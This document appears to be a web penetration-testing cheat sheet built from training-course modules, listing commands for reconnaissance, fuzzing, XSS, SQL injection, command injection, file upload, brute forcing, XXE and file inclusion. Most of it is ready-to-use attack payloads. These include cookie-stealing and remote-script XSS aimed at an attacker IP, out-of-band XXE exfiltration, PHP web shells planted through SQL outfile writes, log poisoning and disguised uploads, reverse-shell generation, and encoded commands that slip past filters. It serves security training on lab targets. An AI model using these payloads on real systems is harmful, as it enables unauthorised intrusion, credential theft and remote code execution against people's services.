WEB REQUESTS

cURL

Command	Description
curl -h	cURL help menu
curl inlanefreight.com	Basic GET request
curl -s -O inlanefreight.com/index.html	Download file
curl -k https://inlanefreight.com	Skip HTTPS (SSL) certificate validation
curl inlanefreight.com -v	Print full HTTP request/response details
curl -I https://www.inlanefreight.com	Send HEAD request (only prints response headers)
curl -i https://www.inlanefreight.com	Print response headers and response body
curl https://www.inlanefreight.com -A 'Mozilla/5.0'	Set User-Agent header
curl -u admin:admin http://<SERVER_IP>:<PORT>/	Set HTTP basic authorization credentials
curl http://admin:admin@<SERVER_IP>:<PORT>/	Pass HTTP basic authorization credentials in the URL
curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://<SERVER_IP>:<PORT>/	Set request header
curl 'http://<SERVER_IP>:<PORT>/search.php?search=le'	Pass GET parameters
curl -X POST -d 'username=admin&password=admin' http://<SERVER_IP>:<PORT>/	Send POST request with POST data
curl -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' http://<SERVER_IP>:<PORT>/	Set request cookies
curl -X POST -d '{"search":"london"}' -H 'Content-Type: application/json' http://<SERVER_IP>:<PORT>/search.php	Send POST request with JSON data

APIs

Command	Description
curl http://<SERVER_IP>:<PORT>/api.php/city/london	Read entry
curl -s http://<SERVER_IP>:<PORT>/api.php/city/ | jq	Read all entries
curl -X POST http://<SERVER_IP>:<PORT>/api.php/city/ -d '{"city_name":"HTB_City", "country_name":"HTB"}' -H 'Content-Type: application/json'	Create (add) entry
curl -X PUT http://<SERVER_IP>:<PORT>/api.php/city/london -d '{"city_name":"New_HTB_City", "country_name":"HTB"}' -H 'Content-Type: application/json'	Update (modify) entry
curl -X DELETE http://<SERVER_IP>:<PORT>/api.php/city/New_HTB_City	Delete entry

Browser DevTools

Shortcut	Description
[CTRL+SHIFT+I] or [F12]	Show devtools
[CTRL+SHIFT+E]	Show Network tab
[CTRL+SHIFT+K]	Show Console tab

USING WEB PROXIES

Burp Shortcuts

Shortcut	Description
[CTRL+R]	Send to repeater
[CTRL+SHIFT+R]	Go to repeater
[CTRL+I]	Send to intruder
[CTRL+SHIFT+B]	Go to intruder
[CTRL+U]	URL encode
[CTRL+SHIFT+U]	URL decode

ZAP Shortcuts

Shortcut	Description
[CTRL+B]	Toggle intercept on/off
[CTRL+R]	Go to replacer
[CTRL+E]	Go to encode/decode/hash

Firefox Shortcuts

Shortcut	Description
[CTRL+SHIFT+R]	Force Refresh Page

INFORMATION GATHERING - WEB EDITION

WHOIS

Command	Description
export TARGET="domain.tld"	Assign target to an environment variable.
whois $TARGET	WHOIS lookup for the target.

---

DNS Enumeration

Command	Description
nslookup $TARGET	Identify the A record for the target domain.
nslookup -query=A $TARGET	Identify the A record for the target domain.
dig $TARGET @<nameserver/IP>	Identify the A record for the target domain.
dig a $TARGET @<nameserver/IP>	Identify the A record for the target domain.
nslookup -query=PTR <IP>	Identify the PTR record for the target IP address.
dig -x <IP> @<nameserver/IP>	Identify the PTR record for the target IP address.
nslookup -query=ANY $TARGET	Identify ANY records for the target domain.
dig any $TARGET @<nameserver/IP>	Identify ANY records for the target domain.
nslookup -query=TXT $TARGET	Identify the TXT records for the target domain.
dig txt $TARGET @<nameserver/IP>	Identify the TXT records for the target domain.
nslookup -query=MX $TARGET	Identify the MX records for the target domain.
dig mx $TARGET @<nameserver/IP>	Identify the MX records for the target domain.

---

Passive Subdomain Enumeration

Resource/Command	Description
VirusTotal	https://www.virustotal.com/gui/home/url
Censys	https://censys.io/
Crt.sh	https://crt.sh/
curl -s https://sonar.omnisint.io/subdomains/{domain} | jq -r '.[]' | sort -u	All subdomains for a given domain.
curl -s https://sonar.omnisint.io/tlds/{domain} | jq -r '.[]' | sort -u	All TLDs found for a given domain.
curl -s https://sonar.omnisint.io/all/{domain} | jq -r '.[]' | sort -u	All results across all TLDs for a given domain.
curl -s https://sonar.omnisint.io/reverse/{ip} | jq -r '.[]' | sort -u	Reverse DNS lookup on IP address.
curl -s https://sonar.omnisint.io/reverse/{ip}/{mask} | jq -r '.[]' | sort -u	Reverse DNS lookup of a CIDR range.
curl -s "https://crt.sh/?q=${TARGET}&output=json" | jq -r '.[] | "\(.name_value)\n\(.common_name)"' | sort -u	Certificate Transparency.
cat sources.txt | while read source; do theHarvester -d "${TARGET}" -b $source -f "${source}-${TARGET}";done	Searching for subdomains and other information on the sources provided in the source.txt list.

Sources.txt

baidu
bufferoverun
crtsh
hackertarget
otx
projecdiscovery
rapiddns
sublist3r
threatcrowd
trello
urlscan
vhost
virustotal
zoomeye

---

Passive Infrastructure Identification

Resource/Command	Description
Netcraft	https://www.netcraft.com/
WayBackMachine	http://web.archive.org/
WayBackURLs	https://github.com/tomnomnom/waybackurls
waybackurls -dates https://$TARGET > waybackurls.txt	Crawling URLs from a domain with the date it was obtained.

---

Active Infrastructure Identification

Resource/Command	Description
curl -I "http://${TARGET}"	Display HTTP headers of the target webserver.
whatweb -a https://www.facebook.com -v	Technology identification.
Wappalyzer	https://www.wappalyzer.com/
wafw00f -v https://$TARGET	WAF Fingerprinting.
Aquatone	https://github.com/michenriksen/aquatone
cat subdomain.list | aquatone -out ./aquatone -screenshot-timeout 1000	Makes screenshots of all subdomains in the subdomain.list.

---

Active Subdomain Enumeration

Resource/Command	Description
HackerTarget	https://hackertarget.com/zone-transfer/
SecLists	https://github.com/danielmiessler/SecLists
nslookup -type=any -query=AXFR $TARGET nameserver.target.domain	Zone Transfer using Nslookup against the target domain and its nameserver.
gobuster dns -q -r "${NS}" -d "${TARGET}" -w "${WORDLIST}" -p ./patterns.txt -o "gobuster_${TARGET}.txt"	Bruteforcing subdomains.

---

Virtual Hosts

Resource/Command	Description
curl -s http://192.168.10.10 -H "Host: randomtarget.com"	Changing the HOST HTTP header to request a specific domain.
cat ./vhosts.list | while read vhost;do echo "\n********\nFUZZING: ${vhost}\n********";curl -s -I http://<IP address> -H "HOST: ${vhost}.target.domain" | grep "Content-Length: ";done	Bruteforcing for possible virtual hosts on the target domain.
ffuf -w ./vhosts -u http://<IP address> -H "HOST: FUZZ.target.domain" -fs 612	Bruteforcing for possible virtual hosts on the target domain using ffuf.

---

Crawling

Resource/Command	Description
ZAP	https://www.zaproxy.org/
ffuf -recursion -recursion-depth 1 -u http://192.168.10.10/FUZZ -w /opt/useful/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt	Discovering files and folders that cannot be spotted by browsing the website.
ffuf -w ./folders.txt:FOLDERS,./wordlist.txt:WORDLIST,./extensions.txt:EXTENSIONS -u http://www.target.domain/FOLDERS/WORDLISTEXTENSIONS	Mutated bruteforcing against the target web server.

ATTACKING WEB APPLICATIONS WITH FFUF

Ffuf

Command	Description
ffuf -h	ffuf help
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ	Directory Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/indexFUZZ	Extension Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php	Page Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v	Recursive Fuzzing
ffuf -w wordlist.txt:FUZZ -u https://FUZZ.hackthebox.eu/	Sub-domain Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -fs xxx	VHost Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs xxx	Parameter Fuzzing - GET
ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx	Parameter Fuzzing - POST
ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx	Value Fuzzing

Wordlists

Command	Description
/opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt	Directory/Page Wordlist
/opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt	Extensions Wordlist
/opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt	Domain Wordlist
/opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt	Parameters Wordlist

Misc

Command	Description
sudo sh -c 'echo "SERVER_IP academy.htb" >> /etc/hosts'	Add DNS entry
for i in $(seq 1 1000); do echo $i >> ids.txt; done	Create Sequence Wordlist
curl http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=key' -H 'Content-Type: application/x-www-form-urlencoded'	curl w/ POST

JAVASCRIPT DEOBFUSCATION

Commands

Command	Description
curl http:/SERVER_IP:PORT/	cURL GET request
curl -s http:/SERVER_IP:PORT/ -X POST	cURL POST request
curl -s http:/SERVER_IP:PORT/ -X POST -d "param1=sample"	cURL POST request with data
echo hackthebox | base64	base64 encode
echo ENCODED_B64 | base64 -d	base64 decode
echo hackthebox | xxd -p	hex encode
echo ENCODED_HEX | xxd -p -r	hex decode
echo hackthebox | tr 'A-Za-z' 'N-ZA-Mn-za-m'	rot13 encode
echo ENCODED_ROT13 | tr 'A-Za-z' 'N-ZA-Mn-za-m'	rot13 decode

Deobfuscation Websites

Website
JS Console
Prettier
Beautifier
JSNice

Misc

Command	Description
ctrl+u	Show HTML source code in Firefox

CROSS-SITE SCRIPTING (XSS)

Commands

Code	Description
XSS Payloads
<script>alert(window.origin)</script>	Basic XSS Payload
<plaintext>	Basic XSS Payload
<script>print()</script>	Basic XSS Payload
<img src="" onerror=alert(window.origin)>	HTML-based XSS Payload
<script>document.body.style.background = "#141d2b"</script>	Change Background Color
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>	Change Background Image
<script>document.title = 'HackTheBox Academy'</script>	Change Website Title
<script>document.getElementsByTagName('body')[0].innerHTML = 'text'</script>	Overwrite website's main body
<script>document.getElementById('urlform').remove();</script>	Remove certain HTML element
<script src="http://OUR_IP/script.js"></script>	Load remote script
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>	Send Cookie details to us
Commands
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"	Run xsstrike on a url parameter
sudo nc -lvnp 80	Start netcat listener
sudo php -S 0.0.0.0:80	Start PHP server

SQL INJECTION FUNDAMENTALS

MySQL

Command	Description
General
mysql -u root -h docker.hackthebox.eu -P 3306 -p	login to mysql database
SHOW DATABASES	List available databases
USE users	Switch to database
Tables
CREATE TABLE logins (id INT, ...)	Add a new table
SHOW TABLES	List available tables in current database
DESCRIBE logins	Show table properties and columns
INSERT INTO table_name VALUES (value_1,..)	Add values to table
INSERT INTO table_name(column2, ...) VALUES (column2_value, ..)	Add values to specific columns in a table
UPDATE table_name SET column1=newvalue1, ... WHERE <condition>	Update table values
Columns
SELECT * FROM table_name	Show all columns in a table
SELECT column1, column2 FROM table_name	Show specific columns in a table
DROP TABLE logins	Delete a table
ALTER TABLE logins ADD newColumn INT	Add new column
ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn	Rename column
ALTER TABLE logins MODIFY oldColumn DATE	Change column datatype
ALTER TABLE logins DROP oldColumn	Delete column
Output
SELECT * FROM logins ORDER BY column_1	Sort by column
SELECT * FROM logins ORDER BY column_1 DESC	Sort by column in descending order
SELECT * FROM logins ORDER BY column_1 DESC, id ASC	Sort by two-columns
SELECT * FROM logins LIMIT 2	Only show first two results
SELECT * FROM logins LIMIT 1, 2	Only show first two results starting from index 2
SELECT * FROM table_name WHERE <condition>	List results that meet a condition
SELECT * FROM logins WHERE username LIKE 'admin%'	List results where the name is similar to a given string

MySQL Operator Precedence

• Division (/), Multiplication (*), and Modulus (%)
• Addition (+) and Subtraction (-)
• Comparison (=, >, <, <=, >=, !=, LIKE)
• NOT (!)
• AND (&&)
• OR (||)

SQL Injection

Payload	Description
Auth Bypass
admin' or '1'='1	Basic Auth Bypass
admin')-- -	Basic Auth Bypass With comments
Auth Bypass Payloads
Union Injection
' order by 1-- -	Detect number of columns using order by
cn' UNION select 1,2,3-- -	Detect number of columns using Union injection
cn' UNION select 1,@@version,3,4-- -	Basic Union injection
UNION select username, 2, 3, 4 from passwords-- -	Union injection for 4 columns
DB Enumeration
SELECT @@version	Fingerprint MySQL with query output
SELECT SLEEP(5)	Fingerprint MySQL with no output
cn' UNION select 1,database(),2,3-- -	Current database name
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -	List all databases
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -	List all tables in a specific database
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -	List all columns in a specific table
cn' UNION select 1, username, password, 4 from dev.credentials-- -	Dump data from a table in another database
Privileges
cn' UNION SELECT 1, user(), 3, 4-- -	Find current user
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -	Find if user has admin privileges
cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE user="root"-- -	Find if all user privileges
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -	Find which directories can be accessed through MySQL
File Injection
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -	Read local file
select 'file written successfully!' into outfile '/var/www/html/proof.txt'	Write a string to a local file
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -	Write a web shell into the base web directory

SQLMAP ESSENTIALS

Command	Description
sqlmap -h	View the basic help menu
sqlmap -hh	View the advanced help menu
sqlmap -u "http://www.example.com/vuln.php?id=1" --batch	Run SQLMap without asking for user input
sqlmap 'http://www.example.com/' --data 'uid=1&name=test'	SQLMap with POST request
sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'	POST request specifying an injection point with an asterisk
sqlmap -r req.txt	Passing an HTTP request file to SQLMap
sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'	Specifying a cookie header
sqlmap -u www.target.com --data='id=1' --method PUT	Specifying a PUT request
sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt	Store traffic to an output file
sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch	Specify verbosity level
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"	Specifying a prefix or suffix
sqlmap -u www.example.com/?id=1 -v 3 --level=5	Specifying the level and risk
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba	Basic DB enumeration
sqlmap -u "http://www.example.com/?id=1" --tables -D testdb	Table enumeration
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname	Table/row enumeration
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"	Conditional enumeration
sqlmap -u "http://www.example.com/?id=1" --schema	Database schema enumeration
sqlmap -u "http://www.example.com/?id=1" --search -T user	Searching for data
sqlmap -u "http://www.example.com/?id=1" --passwords --batch	Password enumeration and cracking
sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"	Anti-CSRF token bypass
sqlmap --list-tampers	List all tamper scripts
sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba	Check for DBA privileges
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"	Reading a local file
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"	Writing a file
sqlmap -u "http://www.example.com/?id=1" --os-shell	Spawning an OS shell

Injection Operators

Injection Operator	Injection Character	URL-Encoded Character	Executed Command
Semicolon	;	%3b	Both
New Line	\n	%0a	Both
Background	&	%26	Both (second output generally shown first)
Pipe	|	%7c	Both (only second output is shown)
AND	&&	%26%26	Both (only if first succeeds)
OR	||	%7c%7c	Second (only if first fails)
Sub-Shell	``	%60%60	Both (Linux-only)
Sub-Shell	$()	%24%28%29	Both (Linux-only)

---

COMMAND INJECTIONS

Linux

Filtered Character Bypass

Code	Description
printenv	Can be used to view all environment variables
Spaces
%09	Using tabs instead of spaces
${IFS}	Will be replaced with a space and a tab. Cannot be used in sub-shells (i.e. $())
{ls,-la}	Commas will be replaced with spaces
Other Characters
${PATH:0:1}	Will be replaced with /
${LS_COLORS:10:1}	Will be replaced with ;
$(tr '!-}' '"-~'<<<[)	Shift character by one ([ -> \)

---

Blacklisted Command Bypass

Code	Description
Character Insertion
' or "	Total must be even
$@ or \	Linux only
Case Manipulation
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")	Execute command regardless of cases
$(a="WhOaMi";printf %s "${a,,}")	Another variation of the technique
Reversed Commands
echo 'whoami' | rev	Reverse a string
$(rev<<<'imaohw')	Execute reversed command
Encoded Commands
echo -n 'cat /etc/passwd | grep 33' | base64	Encode a string with base64
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)	Execute b64 encoded string

---

Windows

Filtered Character Bypass

Code	Description
Get-ChildItem Env:	Can be used to view all environment variables - (PowerShell)
Spaces
%09	Using tabs instead of spaces
%PROGRAMFILES:~10,-5%	Will be replaced with a space - (CMD)
$env:PROGRAMFILES[10]	Will be replaced with a space - (PowerShell)
Other Characters
%HOMEPATH:~0,-17%	Will be replaced with \ - (CMD)
$env:HOMEPATH[0]	Will be replaced with \ - (PowerShell)

---

Blacklisted Command Bypass

Code	Description
Character Insertion
' or "	Total must be even
^	Windows only (CMD)
Case Manipulation
WhoAmi	Simply send the character with odd cases
Reversed Commands
"whoami"[-1..-20] -join ''	Reverse a string
iex "$('imaohw'[-1..-20] -join '')"	Execute reversed command
Encoded Commands
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))	Encode a string with base64
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"	Execute b64 encoded string

FILE UPLOAD ATTACKS

Web Shells

Web Shell	Description
<?php file_get_contents('/etc/passwd'); ?>	Basic PHP File Read
<?php system('hostname'); ?>	Basic PHP Command Execution
<?php system($_REQUEST['cmd']); ?>	Basic PHP Web Shell
<% eval request('cmd') %>	Basic ASP Web Shell
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php	Generate PHP reverse shell
PHP Web Shell	PHP Web Shell
PHP Reverse Shell	PHP Reverse Shell
Web/Reverse Shells	List of Web Shells and Reverse Shells

Bypasses

Command	Description
Client-Side Bypass
[CTRL+SHIFT+C]	Toggle Page Insepctor
Blacklist Bypass
shell.phtml	Uncommon Extension
shell.pHp	Case Manipulation
PHP Extensions	List of PHP Extensions
ASP Extensions	List of ASP Extensions
Web Extensions	List of Web Extensions
Whitelist Bypass
shell.jpg.php	Double Extension
shell.php.jpg	Reverse Double Extension
%20, %0a, %00, %0d0a, /, .\, ., …	Character Injection - Before/After Extension
Content/Type Bypass
Web Content-Types	List of Web Content-Types
Content-Types	List of All Content-Types
File Signatures	List of File Signatures/Magic Bytes

Limited Uploads

Potential Attack	File Types
XSS	HTML, JS, SVG, GIF
XXE/SSRF	XML, SVG, PDF, PPT, DOC
DoS	ZIP, JPG, PNG

LOGIN BRUTE FORCING

Hydra

Command	Description
hydra -h	hydra help
hydra -C wordlist.txt SERVER_IP -s PORT http-get /	Basic Auth Brute Force - Combined Wordlist
hydra -L wordlist.txt -P wordlist.txt -u -f SERVER_IP -s PORT http-get /	Basic Auth Brute Force - User/Pass Wordlists
hydra -l admin -P wordlist.txt -f SERVER_IP -s PORT http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"	Login Form Brute Force - Static User, Pass Wordlist
hydra -L bill.txt -P william.txt -u -f ssh://SERVER_IP:PORT -t 4	SSH Brute Force - User/Pass Wordlists
hydra -l m.gates -P rockyou-10.txt ftp://127.0.0.1	FTP Brute Force - Static User, Pass Wordlist

Wordlists

Command	Description
/opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt	Default Passwords Wordlist
/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt	Common Passwords Wordlist
/opt/useful/SecLists/Usernames/Names/names.txt	Common Names Wordlist

Misc

Command	Description
cupp -i	Creating Custom Password Wordlist
sed -ri '/^.{,7}$/d' william.txt	Remove Passwords Shorter Than 8
sed -ri '/[!-/:-@\[-`\{-~]+/!d' william.txt	Remove Passwords With No Special Chars
sed -ri '/[0-9]+/!d' william.txt	Remove Passwords With No Numbers
./username-anarchy Bill Gates > bill.txt	Generate Usernames List
ssh b.gates@SERVER_IP -p PORT	SSH to Server
ftp 127.0.0.1	FTP to Server
su - user	Switch to User

BROKEN AUTHENTICATION

Fuzz

Command	Description
wfuzz -z file,/path/to/wordlist.txt -u http://127.0.0.1:80/site/FUZZ	Fuzz using a wordlist
wfuzz -z file,/path/to/user.txt -z file,/path/to/pass.txt http://127.0.0.1/login.php -d "user=FUZZ&pass=FUZ2Z"	Fuzz using POST method and two wordlists
wfuzz -H Foo:FUZZ	Fuzz header
-X GET , -X POST	Choose method

Grep

Command	Description
grep '[[:classname:]]' file.txt	Find strings that contain a given class. Classes are: [[:graph:]], [[:lower:]], [[:print:]], [[:punct:]], [[:space:]], [[:upper:]], and [[:xdigit:]]
grep -x '.\{123\}'	Find strings with length of 123

Misc

Command	Description
echo -n academy | xxd -p	Convert hex to ASCII
echo -n 61636164656d79 | xxd -r -p	Convert ASCII to hex

Resource

Site name	Description
CyberChef	https://gchq.github.io/CyberChef
Decodify	https://github.com/s0md3v/Decodify

WEB ATTACKS

HTTP Verb Tampering

HTTP Method

• HEAD
• PUT
• DELETE
• OPTIONS
• PATCH

Command	Description
-X OPTIONS	Set HTTP Method with Curl

IDOR

Identify IDORS

• In URL parameters & APIs
• In AJAX Calls
• By understanding reference hashing/encoding
• By comparing user roles

Command	Description
md5sum	MD5 hash a string
base64	Base64 encode a string

XXE

Code	Description
<!ENTITY xxe SYSTEM "http://localhost/email.dtd">	Define External Entity to a URL
<!ENTITY xxe SYSTEM "file:///etc/passwd">	Define External Entity to a file path
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">	Read PHP source code with base64 encode filter
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">	Reading a file through a PHP error
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">	Reading a file OOB exfiltration

FILE INCLUSION

Local File Inclusion

Command	Description
Basic LFI
/index.php?language=/etc/passwd	Basic LFI
/index.php?language=../../../../etc/passwd	LFI with path traversal
/index.php?language=/../../../etc/passwd	LFI with name prefix
/index.php?language=./languages/../../../../etc/passwd	LFI with approved path
LFI Bypasses
/index.php?language=....//....//....//....//etc/passwd	Bypass basic path traversal filter
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64	Bypass filters with URL encoding
/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]	Bypass appended extension with path truncation (obsolete)
/index.php?language=../../../../etc/passwd%00	Bypass appended extension with null byte (obsolete)
/index.php?language=php://filter/read=convert.base64-encode/resource=config	Read PHP with base64 filter

Remote Code Execution

Command	Description
PHP Wrappers
/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id	RCE with data wrapper
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"	RCE with input wrapper
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"	RCE with expect wrapper
RFI
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>	Host web shell
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id	Include remote PHP web shell
LFI + Upload
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif	Create malicious image
/index.php?language=./profile_images/shell.gif&cmd=id	RCE with malicious uploaded image
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php	Create malicious zip archive 'as jpg'
/index.php?language=zip://shell.zip%23shell.php&cmd=id	RCE with malicious uploaded zip
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg	Create malicious phar 'as jpg'
/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id	RCE with malicious uploaded phar
Log Poisoning
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd	Read PHP session parameters
/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E	Poison PHP session with web shell
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id	RCE through poisoned PHP session
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'	Poison server log
/index.php?language=/var/log/apache2/access.log&cmd=id	RCE through poisoned PHP session

Misc

Command	Description
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287	Fuzz page parameters
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287	Fuzz LFI payloads
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287	Fuzz webroot path
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287	Fuzz server configurations
LFI Wordlists
LFI-Jhaddix.txt
Webroot path wordlist for Linux
Webroot path wordlist for Windows
Server configurations wordlist for Linux
Server configurations wordlist for Windows

File Inclusion Functions

Function	Read Content	Execute	Remote URL
PHP
include()/include_once()	✅	✅	✅
require()/require_once()	✅	✅	❌
file_get_contents()	✅	❌	✅
fopen()/file()	✅	❌	❌
NodeJS
fs.readFile()	✅	❌	❌
fs.sendFile()	✅	❌	❌
res.render()	✅	✅	❌
Java
include	✅	❌	❌
import	✅	✅	✅
.NET
@Html.Partial()	✅	❌	❌
@Html.RemotePartial()	✅	❌	✅
Response.WriteFile()	✅	❌	❌
include	✅	✅	✅

HACKING WORDPRESS

Command	Description
tree -L 1	Lists contents of current directory
curl -s -X GET <url>	Makes a GET request to a webserver and receives HTML source code of requested web page
curl -I -X GET <url>	Prints the response header of the GET request from the requested web page
curl -X POST -d <data> <url>	Sends a POST request with data to specific webserver
wpscan --url <url> -e ap	Scans specific WordPress application to enumerate plugins
wpscan --url <url> -e u	Scans specific WordPress application to enumerate users
msfconsole	Starts Metasploit Framework
html2text	Converts redirected HTML output or files to easily readable output
grep <pattern>	Filters specific pattern in files or redirected output
jq	Transforms JSON input and streams of JSON entities
man <tool>	Man provides you with the manpage of the specific tool